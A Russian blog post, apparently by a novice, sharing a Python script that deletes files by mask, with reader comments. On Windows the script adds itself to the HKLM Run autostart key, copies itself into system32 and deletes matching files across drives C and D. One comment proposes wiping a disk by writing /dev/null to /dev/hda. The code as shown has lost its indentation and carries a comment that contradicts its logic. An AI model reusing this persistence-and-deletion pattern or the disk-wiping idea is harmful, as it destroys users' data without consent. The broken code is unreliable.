Python: Удаление файлов по маске.

Posted by Nosaer | Posted in

   Раньше часто нужно было удалять какие либо файлы по маске, да и сейчас есть необходимость. Скрипт работает как в *nix системах так и в windows системах, для windows функционал выше. Обходим стороной папку Windows, что бы не сделать ничего плохого и добавляем это творение в автозагрузку. Так же поставил возможность задержки по времени.
   Вообщем ничего особо сложного тут нет, но на первое время для практики самое то. Сидел с ним где то 4 дня, из них 3 ушло на то, чтоб разобраться с модулем _winreg. Пока обхожу стороной создание функций и ООП. Потому код и занимает столь большое количество строчек.
   П.С. Может кто либо ставил в blogger нормальную читалку для кода, пожалуйста посоветуйте что нибудь...

# -*- coding: utf-8 -*-
import glob, os, sys, time # Импортируем необходимые модули
a, c, x, r = 10, "", 1, 0
t = 1 # Установка таймаута в секундах; 5400 - 1,5 часа
ra = "restw" # Установка расширения, без точки
name = "*" # Установка имени файла; * - любое, ? - заменяет любой один символ
time.sleep(t) # Таймаут
if os.name == "posix": # Для nix систем
while x < a: # Каждый новый цикл, опускает поиск на директорию ниже
b = "/*"
put = "."+c+"/"+name+"."+ra # Маска
llist = glob.glob(put) # Осуществляем поиск файлов по маске
c = c+b
x = x+1
l = len(llist)
while r < l:
os.remove(llist[0]) # Удаляем файл
del llist[0] # и информацию в списке о нем
l = len(llist)
elif os.name == "nt": # Для windows систем
import _winreg, shutil # Импортируем модули для работы с реестром и файлами
reg = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows \CurrentVersion\Run", 0, _winreg.KEY_ALL_ACCESS)
_winreg.SetValueEx(reg, "del", 0, _winreg.REG_SZ, r"C:\WINDOWS\system32\del.py")
shutil.copy(sys.argv[0], u"C:\WINDOWS\system32") # Копируем запущеный файл, в нужную директорию
while x < a: # Каждый новый цикл, опускает поиск на директорию ниже
b= "*/"
putc = "C:/"+c+"/"+name+"."+ra # Маска для диска С
putd = "D:/"+c+"/"+name+"."+ra # Маска для диска D
clist = glob.glob(putc) # Поиск по диску C
dlist = glob.glob(putd) # Поиск по диску D
c = c+b
x = x+1
cl = len(clist)
dl = len(dlist)
if r < cl:
wc = clist[0].find('windows') # Обходим каталог Windows
if wc == -1:
os.remove(clist[0]) # Если файл находится в папке Windows, то удаляем его
del clist[0] # и информацию о нем
else:
del clist[0] # Иначе удаляем только информацию о нем
cl = len(clist)
while r < dl: # Поиск и удаление по диску D
os.remove(dlist[0])
del dlist[0]
dl = len(dlist)



Comments (3)

    Первоначально был косяк в том, что оказывается удалялся только один файл в каталоге, сейчас исправил.

    Тыб чтоль каментов побольше наделал. Да и почему под винду больше функционал, в линухе можно много весёлого придумать, например слать три раза подряд /dev/null в /dev/hda или /dev/hda в /dev/dsp. Или какой-нить cmatrix заместо баша поставить. ПРидумать столько всего весёлого можно... Опять же выполнение скрипта по крону.

    Ты же отлично знаешь про мои познания линукс =). Со временем, когда окончательно освоюсь в них, буду больше внимания уделять им.
    На счет коментариев, сейчас подправлю...

Отправить комментарий